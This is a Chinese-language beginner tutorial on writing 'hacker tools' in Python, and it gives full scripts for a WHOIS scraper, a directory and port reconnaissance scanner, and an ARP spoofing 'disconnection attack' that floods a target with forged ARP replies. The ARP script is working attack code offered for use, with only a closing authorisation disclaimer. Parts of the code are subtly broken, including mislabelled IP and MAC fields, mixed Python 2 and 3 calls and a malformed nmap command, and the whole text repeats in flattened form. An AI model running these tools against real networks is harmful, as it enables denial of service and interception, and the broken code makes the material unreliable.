新手Python黑客工具入门
字数 1141 2025-08-18 11:37:02

Python黑客工具入门教学文档

前言

本教学文档旨在为Python初学者提供三个基础网络安全工具的编写方法,包括WHOIS信息收集器、ARP断网攻击工具和目录信息收集工具。这些工具可以帮助新手理解Python在网络安全领域的应用。

一、WHOIS信息收集器

功能概述

该工具用于收集指定域名的以下信息:

  • IP信息
  • 子域名
  • 备案信息
  • 注册人信息
  • 邮箱
  • 地址
  • 电话
  • DNS记录

技术要点

  1. 使用requests模块发送HTTP请求
  2. 使用BeautifulSoup解析HTML内容
  3. ip138.com网站抓取数据

代码实现

import requests
import time
from bs4 import BeautifulSoup

# 计时开始
start = time.time()

def chax():
    # 用户输入查询域名
    lid = input('请输入你要查询的域名:')
    
    # 设置请求头
    head = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36'
    }
    
    # 构造查询URL
    url = "http://site.ip138.com/{}/".format(lid)
    urldomain = "http://site.ip138.com/{}/domain.htm".format(lid)
    url2 = "http://site.ip138.com/{}/beian.htm".format(lid)
    url3 = "http://site.ip138.com/{}/whois.htm".format(lid)
    
    # 发送请求
    rb = requests.get(url, headers=head)
    rb1 = requests.get(urldomain, headers=head)
    rb2 = requests.get(url2, headers=head)
    rb3 = requests.get(url3, headers=head)
    
    # 解析IP解析记录
    gf = BeautifulSoup(rb.content, 'html.parser')
    print('[+]IP解析记录')
    for x in gf.find_all('p'):
        link = x.get_text()
        print(link)
    
    # 解析子域名
    gf1 = BeautifulSoup(rb1.content, 'html.parser')
    print('[+]子域名查询')
    for v in gf1.find_all('p'):
        link2 = v.get_text()
        print(link2)
    
    # 解析备案信息
    gf2 = BeautifulSoup(rb2.content, 'html.parser')
    print('[+]备案查询')
    for s in gf2.find_all('p'):
        link3 = s.get_text()
        print(link3)
    
    # 解析WHOIS信息
    gf3 = BeautifulSoup(rb3.content, 'html.parser')
    print('[+]whois查询')
    for k in gf3.find_all('p'):
        link4 = k.get_text()
        print(link4)

chax()

# 计时结束
end = time.time()
print('查询耗时:', end-start)

使用说明

  1. 安装依赖:pip install requests beautifulsoup4
  2. 运行脚本并输入要查询的域名
  3. 程序将从ip138.com获取相关信息并显示

二、ARP断网攻击工具

攻击原理

ARP攻击通过伪造IP地址与MAC地址实现ARP欺骗,在网络中发送大量ARP通信量。攻击者持续发送ARP包可造成中间人攻击或断网攻击。

技术要点

  1. 使用scapy库构造和发送网络数据包
  2. 获取目标MAC地址
  3. 构造ARP响应包

代码实现

import os
import sys
from scapy.layers.l2 import getmacbyip
from scapy.all import (Ether, ARP, sendp)

# 查看网络接口
ifconfig = os.system('ifconfig')
print(ifconfig)

# 用户输入
gmac = raw_input('Please enter gateway IP:')
liusheng = raw_input('Please enter your IP:')
liusrc = raw_input('Please enter target IP:')

try:
    # 获取目标MAC地址
    tg = getmacbyip(liusrc)
    print(tg)
except Exception as f:
    print('[-]{}'.format(f))
    exit()

def arpspoof():
    try:
        # 构造以太网帧和ARP包
        eth = Ether()
        arp = ARP(
            op="is-at",  # ARP响应
            hwsrc=gmac,  # 网关MAC
            psrc=liusheng,  # 网关IP
            hwdst=tg,  # 目标MAC
            pdst=liusrc  # 目标IP
        )
        
        # 显示构造的包
        print((eth/arp).show())
        
        # 发送ARP包
        sendp(eth/arp, inter=2, loop=1)
    except Exception as g:
        print('[-]{}'.format(g))
        exit()

arpspoof()

使用说明

  1. 安装scapy:pip install scapy (Python 2) 或 pip install scapy3 (Python 3)
  2. 推荐在Linux系统(Kali, CentOS, Ubuntu)下运行
  3. 运行时需要输入网关IP、本机IP和目标IP
  4. 程序将不断发送ARP欺骗包

三、目录信息收集工具

功能概述

该工具用于收集目标网站的信息,包括:

  • HTTP指纹
  • robots.txt检查
  • 目录扫描
  • 端口扫描
  • WHOIS查询
  • IP反查域名

技术要点

  1. 使用requests获取HTTP头部信息
  2. 通过HTTP响应码判断资源存在性
  3. 使用os模块调用系统命令(nmap)
  4. 使用socket模块进行DNS查询

代码实现

import requests
import os
import socket
from bs4 import BeautifulSoup
import time

# 全局变量
lgr = ""

# 获取HTTP指纹
def Webfingerprintcollection():
    global lgr
    lgr = input('请输入目标域名:')
    url = "http://{}".format(lgr)
    header = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36'
    }
    r = requests.get(url, headers=header)
    xyt = r.headers
    for key in xyt:
        print(key, ':', xyt[key])

Webfingerprintcollection()
print('='*50)

# 检查robots.txt
def robots():
    urlsd = "http://{}/robots.txt".format(lgr)
    header = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36'
    }
    gf = requests.get(urlsd, headers=header, timeout=8)
    if gf.status_code == 200:
        print('robots.txt存在')
        print('[+]该站存在robots.txt', urlsd)
    else:
        print('[-]没有robots.txt')

robots()
print("="*50)

# 目录扫描
def Webdirectoryscanner():
    dict = open('build.txt', 'r', encoding='utf-8').read().split('\n')
    for xyt in dict:
        try:
            header = {
                'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36'
            }
            urljc = "http://" + lgr + "{}".format(xyt)
            rvc = requests.get(urljc, headers=header, timeout=8)
            if rvc.status_code == 200:
                print('[*]', urljc)
        except:
            print('[-]远程主机强迫关闭了一个现有的连接')

Webdirectoryscanner()
print("="*50)

# 获取IP地址
s = socket.gethostbyname(lgr)

# 端口扫描
def portscanner():
    o = os.system('nmap {} program'.format(s))
    print(o)

portscanner()
print('='*50)

# WHOIS查询
def whois():
    heads = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36'
    }
    urlwhois = "http://site.ip138.com/{}/whois.htm".format(lgr)
    rvt = requests.get(urlwhois, headers=heads)
    bv = BeautifulSoup(rvt.content, "html.parser")
    for line in bv.find_all('p'):
        link = line.get_text()
        print(link)

whois()
print('='*50)

# IP反查域名
def IPbackupdomainname():
    wu = socket.gethostbyname(lgr)
    rks = "http://site.ip138.com/{}/".format(wu)
    rod = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36'
    }
    sjk = requests.get(rks, headers=rod)
    liverou = BeautifulSoup(sjk.content, 'html.parser')
    for low in liverou.find_all('li'):
        bc = low.get_text()
        print(bc)

IPbackupdomainname()
print('='*50)

使用说明

  1. 安装依赖:pip install requests beautifulsoup4
  2. 准备一个目录字典文件build.txt
  3. 确保系统已安装nmap
  4. 运行脚本并输入目标域名
  5. 程序将依次执行各项信息收集功能

注意事项

  1. 这些工具仅用于教育目的,未经授权对他人系统进行扫描或攻击是违法行为
  2. ARP攻击会干扰网络通信,请在实验环境中使用
  3. 频繁扫描他人网站可能触发安全机制或被封禁IP
  4. 使用这些工具前请确保已获得必要的授权

扩展学习

  1. 深入学习Python网络编程
  2. 了解网络安全基础知识
  3. 研究更高级的信息收集技术
  4. 学习如何防御ARP欺骗攻击
  5. 探索其他网络安全工具的开发

通过这三个工具的实践,初学者可以掌握Python在网络安全领域的基本应用,为进一步学习打下坚实基础。

Python黑客工具入门教学文档 前言 本教学文档旨在为Python初学者提供三个基础网络安全工具的编写方法,包括WHOIS信息收集器、ARP断网攻击工具和目录信息收集工具。这些工具可以帮助新手理解Python在网络安全领域的应用。 一、WHOIS信息收集器 功能概述 该工具用于收集指定域名的以下信息: IP信息 子域名 备案信息 注册人信息 邮箱 地址 电话 DNS记录 技术要点 使用 requests 模块发送HTTP请求 使用 BeautifulSoup 解析HTML内容 从 ip138.com 网站抓取数据 代码实现 使用说明 安装依赖: pip install requests beautifulsoup4 运行脚本并输入要查询的域名 程序将从ip138.com获取相关信息并显示 二、ARP断网攻击工具 攻击原理 ARP攻击通过伪造IP地址与MAC地址实现ARP欺骗,在网络中发送大量ARP通信量。攻击者持续发送ARP包可造成中间人攻击或断网攻击。 技术要点 使用 scapy 库构造和发送网络数据包 获取目标MAC地址 构造ARP响应包 代码实现 使用说明 安装scapy: pip install scapy (Python 2) 或 pip install scapy3 (Python 3) 推荐在Linux系统(Kali, CentOS, Ubuntu)下运行 运行时需要输入网关IP、本机IP和目标IP 程序将不断发送ARP欺骗包 三、目录信息收集工具 功能概述 该工具用于收集目标网站的信息,包括: HTTP指纹 robots.txt检查 目录扫描 端口扫描 WHOIS查询 IP反查域名 技术要点 使用 requests 获取HTTP头部信息 通过HTTP响应码判断资源存在性 使用 os 模块调用系统命令(nmap) 使用 socket 模块进行DNS查询 代码实现 使用说明 安装依赖: pip install requests beautifulsoup4 准备一个目录字典文件 build.txt 确保系统已安装nmap 运行脚本并输入目标域名 程序将依次执行各项信息收集功能 注意事项 这些工具仅用于教育目的,未经授权对他人系统进行扫描或攻击是违法行为 ARP攻击会干扰网络通信,请在实验环境中使用 频繁扫描他人网站可能触发安全机制或被封禁IP 使用这些工具前请确保已获得必要的授权 扩展学习 深入学习Python网络编程 了解网络安全基础知识 研究更高级的信息收集技术 学习如何防御ARP欺骗攻击 探索其他网络安全工具的开发 通过这三个工具的实践,初学者可以掌握Python在网络安全领域的基本应用,为进一步学习打下坚实基础。